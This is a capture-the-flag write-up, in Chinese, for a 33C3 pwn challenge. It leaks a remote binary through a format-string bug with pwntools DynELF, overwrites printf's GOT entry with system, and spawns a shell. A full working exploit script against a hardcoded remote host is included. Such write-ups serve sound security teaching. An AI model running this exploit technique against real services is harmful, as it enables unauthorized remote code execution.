Info
Category: pwn
Point: 150
Author: bruce30262 @ BambooFox
Analyzing
這題沒有給任何的 binary,只有一張圖片,長得像這樣:
eat: sleep:
+-----------------+ +----------------+
| sub rsp, 0x100 | | mov edi, 0x1 |
| mov rdi, rsp | | call _sleep |
| call _gets | | |
| | | |
+-----------------+ +----------------+
pwn: repeat:
+-----------------+ +----------------+
| mov rdi, rsp | | |
| call _printf | | jmp eat |
| add rsp, 0x100 | | |
| | | |
+-----------------+ +----------------+
hmmm……
可以發現到程式裡有兩個很明顯的漏洞: stack overflow 與 format string。這題 stack overflow 應該是打不了,因為有個無限迴圈在那邊,程式無法 return。因此這題的重點在於如何在沒有提供任何 binary 的情況下利用 format string 漏洞來 exploit 整個 service。
Exploit
在這裡不得不提 pwntools 裡頭一個相當強大的 module — DynELF。透過 DynELF
以及程式當中的任意讀漏洞,pwntools 將有辦法幫助我們 leak 出遠端機器的 binary 資訊,包括 function 在 libc 中的位址,遠端 binary 的 .dynamic
section 位址……等等。
要使用這個功能,首先我們必須提供一個 leak
function,來讓 pwntools 有辦法透過這個 function leak 出任意位址的內容。這題的 leak
function 可以透過程式當中的 format string 漏洞來實作:
def leak(addr):
payload = "%7$s.AAA"+p64(addr)
r.sendline(payload)
print "leaking:", hex(addr)
resp = r.recvuntil(".AAA")
ret = resp[:-4:] + "\x00"
print "ret:", repr(ret)
r.recvrepeat(0.2) # receive the rest of the string
return ret
之後我們還必須提供一個 binary 裡頭的位址。透過輸入 %30$p
,我們可以 leak 出遠端 binary 的 text address 0x40060d
。之後我們就可以透過 DynELF
來幫助我們 resolve 一些 libc 中的 function address。
首先我們會需要遠端的 printf
和 system
的 function address:
d = DynELF(leak, 0x40060d)
system_addr = d.lookup('system', 'libc')
printf_addr = d.lookup('printf', 'libc')
log.success("printf_addr: "+hex(printf_addr))
log.success("system_addr: "+hex(system_addr))
因為每 leak 一次就要 sleep 一秒的關係,因此這邊 resolve 的過程會花些時間 ( pwntools 會需要 leak 出一堆 address 來 resolve function 的位址 )
[+] printf_addr: 0x7fb040a17550
[+] system_addr: 0x7fb040a066d0
有了遠端的 printf
和 system
的 address,我們就可以計算兩者之間的 offset,然後在下一次的連線中透過以下步驟來進行 exploit:
- 先 leak 出
printf@got.plt
,然後計算system
的位址 - 透過 format string 來 overwrite
printf
的 GOT ( hijack 成system
) - 輸入 “sh”,執行
system("sh")
拿 shell
那麼該怎麼獲得 printf
GOT 的位址呢 ? 這裡我是先透過 DynELF
的 dynamic
功能來獲取 .dynamic
section 的位址:
d = DynELF(leak, 0x40060d)
dynamic_ptr = d.dynamic
有了 .dynamic
section 的位址,我們就可以透過 leak .dynamic
section 的資訊來獲取 .got.plt
的位址:
Dynamic section at offset 0xe28 contains 24 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x000000000000000c (INIT) 0x400400
0x000000000000000d (FINI) 0x400614
0x0000000000000019 (INIT_ARRAY) 0x600e10
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
0x000000000000001a (FINI_ARRAY) 0x600e18
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
0x000000006ffffef5 (GNU_HASH) 0x400298
0x0000000000000005 (STRTAB) 0x400330
0x0000000000000006 (SYMTAB) 0x4002b8
0x000000000000000a (STRSZ) 68 (bytes)
0x000000000000000b (SYMENT) 24 (bytes)
0x0000000000000015 (DEBUG) 0x0
0x0000000000000003 (PLTGOT) 0x601000 <--- here
cnt = 0
while True:
addr = dynamic_ptr + 0x10*cnt
ret = leak(addr)
if ret == "\x03\x00": #TYPE PLTGOT
addr += 8
for i in xrange(8):
ret = leak(addr+i)
print "ret:", ret.encode('hex')
break
else:
cnt += 1
最後,透過 leak 出所有的 GOT entry,我們可以藉由比對 function address 的低 12 bit 來判斷 printf@got.plt
的位址:
got = 0x601000
for i in xrange(8):
addr = got + i*8
ret = leak(addr)
print "ret:", ret.encode('hex')
這下該有的位址都有了,可以開始 exploit 了:
#!/usr/bin/env python
from pwn import *
import subprocess
import sys
import time
HOST = "78.46.224.86"
PORT = 1337
# setting
context.arch = 'amd64'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'INFO'
def leak(addr):
payload = "%7$s.AAA"+p64(addr)
r.sendline(payload)
print "leaking:", hex(addr)
resp = r.recvuntil(".AAA")
ret = resp[:-4:] + "\x00"
print "ret:", repr(ret)
r.recvrepeat(0.2)
return ret
if __name__ == "__main__":
r = remote(HOST, PORT)
printf_got = 0x601018
printf_addr = u64(leak(printf_got).ljust(8, "\x00"))
system_addr = printf_addr - 0x10e80 # remote
log.success("printf_addr: "+hex(printf_addr))
log.success("system_addr: "+hex(system_addr))
byte1 = system_addr & 0xff
byte2 = (system_addr & 0xffff00) >> 8
log.success("byte1: "+hex(byte1))
log.success("byte2: "+hex(byte2))
payload = "%" + str(byte1) + "c" + "%10$hhn."
payload += "%" + str(byte2-byte1-1) + "c" + "%11$hn."
payload = payload.ljust(32, "A")
payload += p64(printf_got) + p64(printf_got+1)
r.sendline(payload)
r.sendline("sh\x00")
r.interactive()
flag: 33C3_f1rst_tshirt_challenge?!